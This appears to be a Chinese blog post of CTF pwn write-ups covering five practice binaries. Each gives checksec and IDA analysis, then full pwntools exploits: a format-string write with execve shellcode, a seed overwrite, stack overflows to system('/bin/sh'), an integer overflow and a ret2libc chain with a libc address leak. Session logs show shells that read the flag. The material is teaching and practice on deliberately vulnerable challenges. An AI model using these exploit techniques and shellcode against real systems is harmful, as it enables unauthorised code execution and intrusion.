Contents
  1. 1. string (NUAACTF)
    1. 1.1. 0x01寻找漏洞
      1. 1.1.0.0.1. checksec
      2. 1.1.0.0.2. 在IDA中对文件进行分析。
  • 1.2. 0x02利用思路
  • 1.3. 0x03exp
  • 2. guess_num
    1. 2.1. 0x01寻找漏洞
      1. 2.1.0.0.1. checksec
      2. 2.1.0.0.2. ida分析
  • 2.2. 0x02思路分析
  • 2.3. 0x03攻击
    1. 2.3.0.0.1. 关于rand和srand
    2. 2.3.0.0.2. 关于ctype库与dll
    3. 2.3.0.0.3. libc共享库
    4. 2.3.0.0.4. exp如下
  • 3. cgpwn2(CGCTF)
    1. 3.1. 0x01寻找漏洞
      1. 3.1.0.0.1. checksec
      2. 3.1.0.0.2. ida分析
  • 3.2. 0x02分析利用
  • 3.3. 0x03攻击
  • 4. int_overflow
    1. 4.1. 0x01寻找漏洞
      1. 4.1.0.0.1. checksec
      2. 4.1.0.0.2. ida分析
  • 4.2. 0x02利用思路
  • 4.3. 0x03攻击
    1. 4.3.0.0.1. exp如下
  • 5. level3
    1. 5.1. 0x01寻找漏洞
      1. 5.1.0.0.1. checksec
      2. 5.1.0.0.2. ida分析
  • 5.2. 0x02思路分析
  • 5.3. 0x03攻击
    1. 5.3.0.0.1. exp如下
    2. 5.3.0.0.2. ps
    • 写这些的时候是19.5.30

    string (NUAACTF)

    参考:CTF-wiki格式化字符串漏洞利用

    0x01寻找漏洞

    checksec

    在IDA中对文件进行分析。

    查看sub_400CA6时发现一条语句。


    执行这条语句的条件是*a1 == a1[1],a1为传入的参数,回溯发现a1即sub_400D72函数传入的v4,而v4 = (__int64)v3,其中

    1
    2
    *v3 = 68;   #即v3[0] = 68;
    v3[1] = 85;

    也就是说要使a1 == a1[1],则需要v3 == v3[1]。
    继续往下找办法修改v3[0]为85。

    一直查看到sub_400BB9函数,发现printf处存在格式化字符串漏洞,可以进行任意地址写,所以我们需要找到v3[0]的地址。

    0x02利用思路

    根据程序执行流程进行输入

    跳出,进入sub_400BB9函数。

    函数调用约定可知,在64位程序下,前六个参数从左到右放入RDI, RSI, RDX, ECX, R8, R9中,利用格式化字符串漏洞,进入脆弱点,写入shellcode

    1
    2

    ...[overwrite addr]....%[overwrite offset]$n

    其中… 表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤

    • 确定覆盖地址
    • 确定相对偏移
    • 进行覆盖

    所以从n = 7开始,我们可以修改栈中的数据为85。
    我在addr处输入“abcdef”作为测试,在printf(&format, &format);处下断点,然后查看rsp寄存器

    x/10x $rsp

    0x03exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44

    #!usr/bin/python

    from pwn import *

    io = remote('111.198.29.45', 56593)

    # io = process('./string')

    io.recvuntil("secret[0] is ")

    v3_0_addr = int(io.recvuntil("\n")[:-1], 16)

    log.info("v3_0_addr:" + hex(v3_0_addr))

    io.recvuntil("character's name be:")

    io.sendline("kk")

    io.recvuntil("east or up?:")

    io.sendline("east")

    io.recvuntil("there(1), or leave(0)?:")

    io.sendline("1")

    io.recvuntil("'Give me an address'")

    io.sendline(str(v3_0_addr))

    io.recvuntil("you wish is:")

    io.sendline("%85c%7$n")

    # shellcode = asm(shellcraft.sh()) #生成的shellcode攻击失败,所以使用反汇编的shellcode

    shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

    io.recvuntil("USE YOU SPELL")

    io.sendline(shellcode)

    io.interactive()

    guess_num

    0x01寻找漏洞

    checksec
    1
    2
    3
    4
    5
    6
    7
    kk@ubuntu:~/Desktop/black/GFSJ/guess_num$ checksec guess_num
    [*] '/home/kk/Desktop/black/GFSJ/guess_num/guess_num'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: PIE enabled
    ida分析

    箭头所指的地方存在栈溢出,进入sub_C3E函数,发现条件成立即可找到flag

    cat flag

    0x02思路分析

    进入v7

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    -0000000000000030 var_30          db ?
    -000000000000002F db ? ; undefined
    -000000000000002E db ? ; undefined
    -000000000000002D db ? ; undefined
    -000000000000002C db ? ; undefined
    -000000000000002B db ? ; undefined
    -000000000000002A db ? ; undefined
    -0000000000000029 db ? ; undefined
    -0000000000000028 db ? ; undefined
    -0000000000000027 db ? ; undefined
    -0000000000000026 db ? ; undefined
    -0000000000000025 db ? ; undefined
    -0000000000000024 db ? ; undefined
    -0000000000000023 db ? ; undefined
    -0000000000000022 db ? ; undefined
    -0000000000000021 db ? ; undefined
    -0000000000000020 db ? ; undefined
    -000000000000001F db ? ; undefined
    -000000000000001E db ? ; undefined
    -000000000000001D db ? ; undefined
    -000000000000001C db ? ; undefined
    -000000000000001B db ? ; undefined
    -000000000000001A db ? ; undefined
    -0000000000000019 db ? ; undefined
    -0000000000000018 db ? ; undefined
    -0000000000000017 db ? ; undefined
    -0000000000000016 db ? ; undefined
    -0000000000000015 db ? ; undefined
    -0000000000000014 db ? ; undefined
    -0000000000000013 db ? ; undefined
    -0000000000000012 db ? ; undefined
    -0000000000000011 db ? ; undefined
    -0000000000000010 seed dd 2 dup(?)

    发现var_30在栈中占0x20,可以覆盖到seed
    如果使输入的guessnumber,即v4等于随机数v6,即可cat flag。

    0x03攻击

    关于rand和srand

    随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。在调用rand()函数时,必须先利用srand()设好随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1。
    对于该题目,我们将随机种子设置为0或1都可,参考文件中的循环来写脚本。

    关于ctype库与dll

    我们使用python标准库中自带的ctypes模块进行python和c的混合编程

    libc共享库

    可以使用ldd查找

    1
    2
    3
    4
    kk@ubuntu:~/Desktop/black/GFSJ/guess_num$ ldd guess_num 
    linux-vdso.so.1 => (0x00007ffd3f5a0000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1e6c0b0000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f1e6c67d000)

    也可以在脚本中通过elf文件查找

    1
    2
    elf = ELF('./guess_num')
    libc = elf.libc
    exp如下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #!usr/bin/python
    #coding=utf-8
    from pwn import *
    from ctypes import *

    io = remote('111.198.29.45', 45742)
    # io = process('./guess_num')

    #elf = ELF('./guess_num')
    #libc = elf.libc

    libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
    payload = "a" * 0x20 + p64(1)
    io.recvuntil('your name:')
    io.sendline(payload)
    libc.srand(1)
    for i in range(10):
    num = str(libc.rand()%6+1)
    io.recvuntil('number:')
    io.sendline(num)

    io.interactive()

    cgpwn2(CGCTF)

    0x01寻找漏洞

    checksec
    1
    2
    3
    4
    5
    6
    7
    kk@ubuntu:~/Desktop/black/GFSJ/cgpwn2$ checksec ./cgpwn2 
    [*] '/home/kk/Desktop/black/GFSJ/cgpwn2/cgpwn2'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)
    ida分析
    1
    2
    3
    4
    5
    6
    7
    8
    9
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    hello();
    puts("thank you");
    return 0;
    }

    进入hello函数

    发现gets(&s)处存在栈溢出

    name在bss段中,或许可以利用fgets函数向其中进行写入点啥子⬅ 。⬅ 继续往下看
    程序中调用了system函数

    0x02分析利用

    通过栈溢出漏洞,调用system函数,同时在name中写入”/bin/sh”,把参数地址设置为name的首地址,就可以getshell了!

    0x03攻击

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #!usr/bin/python
    from pwn import *

    io = remote("111.198.29.45",39409)
    # io = process("./cgpwn2")

    context.log_level = 'debug'

    sys_addr = 0x08048420

    io.recvuntil("your name")
    io.sendline("/bin/sh")

    bin_sh_addr = 0x0804A080

    io.recvuntil("leave some message here:")
    payload = "a" * 0x26 + "aaaa" + p32(sys_addr) + "aaaa" + p32(bin_sh_addr)


    io.sendline(payload)

    io.interactive()
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    kk@ubuntu:~/Desktop/black/GFSJ/cgpwn2$ python exp.py 
    [+] Opening connection to 111.198.29.45 on port 39409: Done
    [*] Switching to interactive mode

    $ ls
    bin
    cgpwn2
    dev
    flag
    lib
    lib32
    lib64
    $ cat flag
    cyberpeace{自己做吧口喜口喜}
    $

    int_overflow

    0x01寻找漏洞

    checksec
    1
    2
    3
    4
    5
    6
    7
    kk@ubuntu:~/Desktop/black/GFSJ/int_overflow$ checksec int_overflow 
    [*] '/home/kk/Desktop/black/GFSJ/int_overflow/int_overflow'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)
    ida分析

    strcpy处有栈溢出。v3为无符号整型,表示s(即你输入的passwd)的长度,可能存在整数溢出

    0x02利用思路

    要想利用到strcpy这一步,要么你输入的passwd长度>3 && <=8,要么使passwd的长度过长,而v3最大可以存的长度为255,所以直接在v3处造成整数溢出进入else,整数溢出需要255,返回地址需要4字节,所以passwd长度达到259即可
    第一种passwd太短,无法利用进行改写程序流,我们使用第二种思路。

    程序中存在,可以将返回地址指向what_is_this()

    cat flag

    0x03攻击

    exp如下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    #!usr/bin/python

    from pwn import *
    #context.log_level = "debug"

    io = remote("111.198.29.45", 53168)
    # io = process("./int_overflow")

    cat_flag_addr = 0x0804868B

    io.sendlineafter("Your choice:", "1")

    io.sendlineafter("your username:", "kk")

    io.recvuntil("your passwd:")
    payload = "a" * 0x14 + "aaaa" + p32(cat_flag_addr)
    payload = payload.ljust( 259,"a")

    io.sendline(payload)

    io.recv()

    io.interactive()
    1
    2
    3
    4
    5
    6
    7
    kk@ubuntu:~/Desktop/black/GFSJ/int_overflow$ python exp.py 
    [+] Opening connection to 111.198.29.45 on port 53168: Done
    [*] Switching to interactive mode
    Success
    cyberpeace{自己试试口喜口喜}
    [*] Got EOF while reading in interactive
    $

    level3

    0x01寻找漏洞

    checksec
    1
    2
    3
    4
    5
    6
    7
    kk@ubuntu:~/Desktop/black/GFSJ/level3$ checksec level3 
    [*] '/home/kk/Desktop/black/GFSJ/level3/level3'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)
    ida分析
    1
    2
    3
    4
    5
    6
    7
    ssize_t vulnerable_function()
    {
    char buf; // [esp+0h] [ebp-88h]

    write(1, "Input:\n", 7u);
    return read(0, &buf, 0x100u);
    }

    漏洞可以很轻松的找到,read处存在栈溢出

    0x02思路分析

    无libc文件,无sys函数,无binsh字符串,有read和write函数,很明显的ret2libc
    原理:system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。用工具来找到对应的libc文件

    0x03攻击

    exp如下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    #!usr/bin/python
    #coding=utf-8

    from pwn import *
    from LibcSearcher import *

    # context.log_level = "debug"

    io = remote("111.198.29.45",50137)
    # io = process("./level3")

    elf = ELF("./level3")

    read_plt = elf.plt["read"]
    write_plt = elf.plt["write"]
    write_got = elf.got["write"]
    main_addr = elf.symbols["main"]

    io.recv()

    payload = "a" * 0x88
    payload += p32(0xdeadbeef)
    payload += p32(write_plt)
    payload += p32(main_addr)
    payload += p32(1)
    payload += p32(write_got) #write(1, addr, 4)从addr开始读取4个字节数据,泄露write在程序中的真实地址
    payload += p32(4)

    io.sendline(payload)

    write_leak = u32(io.recv()[:4])
    print "write_leak ==> " + hex(write_leak)

    libc = LibcSearcher('write', write_leak)
    libc_base = write_leak - libc.dump('write') #libc.dump()获取write在libc中的地址,从而计算偏移量
    print "libc_base ==> " + hex(libc_base)

    sys_addr = libc_base + libc.dump("system") #获取函数在libc中的真实地址
    print "sys_addr ==> " + hex(sys_addr)

    #libc_binsh = libc.search("/bin/sh").next()
    bin_sh_addr = libc_base + libc.dump("str_bin_sh")
    print "bin_sh_addr ==> " + hex(bin_sh_addr)

    io.recv()

    payload2 = "a" * 0x88 + p32(0xdeadbeef)
    payload2 += p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

    io.sendline(payload2)

    io.interactive()

    这个脚本让人头大的是…
    本地:(加了sleep有时候行有时候不行…)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    kk@ubuntu:~/Desktop/black/GFSJ/level3$ python exp.py 
    [+] Starting local process './level3': pid 12529
    [*] '/home/kk/Desktop/black/GFSJ/level3/level3'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)
    write_leak ==> 0xf7e4c3c0
    [+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
    libc_base ==> 0xf7d78000
    sys_addr ==> 0xf7db2940
    bin_sh_addr ==> 0xf7ed102b
    Traceback (most recent call last):
    File "exp.py", line 45, in <module>
    io.recv()
    File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 78, in recv
    return self._recv(numb, timeout) or ''
    File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 156, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
    File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 126, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
    File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/process.py", line 679, in recv_raw
    if not self.can_recv_raw(self.timeout):
    File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/process.py", line 723, in can_recv_raw
    return select.select([self.proc.stdout], [], [], timeout) == ([self.proc.stdout], [], [])
    KeyboardInterrupt
    [*] Stopped process './level3' (pid 12529)

    远程:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    kk@ubuntu:~/Desktop/black/GFSJ/level3$ python exp.py 
    [+] Opening connection to 111.198.29.45 on port 50137: Done
    [*] '/home/kk/Desktop/black/GFSJ/level3/level3'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)
    write_leak ==> 0xf767b3c0
    [+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
    libc_base ==> 0xf75a7000
    sys_addr ==> 0xf75e1940
    bin_sh_addr ==> 0xf770002b
    [*] Switching to interactive mode
    $ ls
    bin
    dev
    flag
    level3
    lib
    lib32
    lib64
    $ cat flag
    cyberpeace{依旧需要你自己做口合口合}
    $
    ps

    我尝试了网上其他大佬写的脚本哈,本地和远程都行…所以我的脚本到底哪里错了,感觉跟他们的都差不多啊

    菜是本源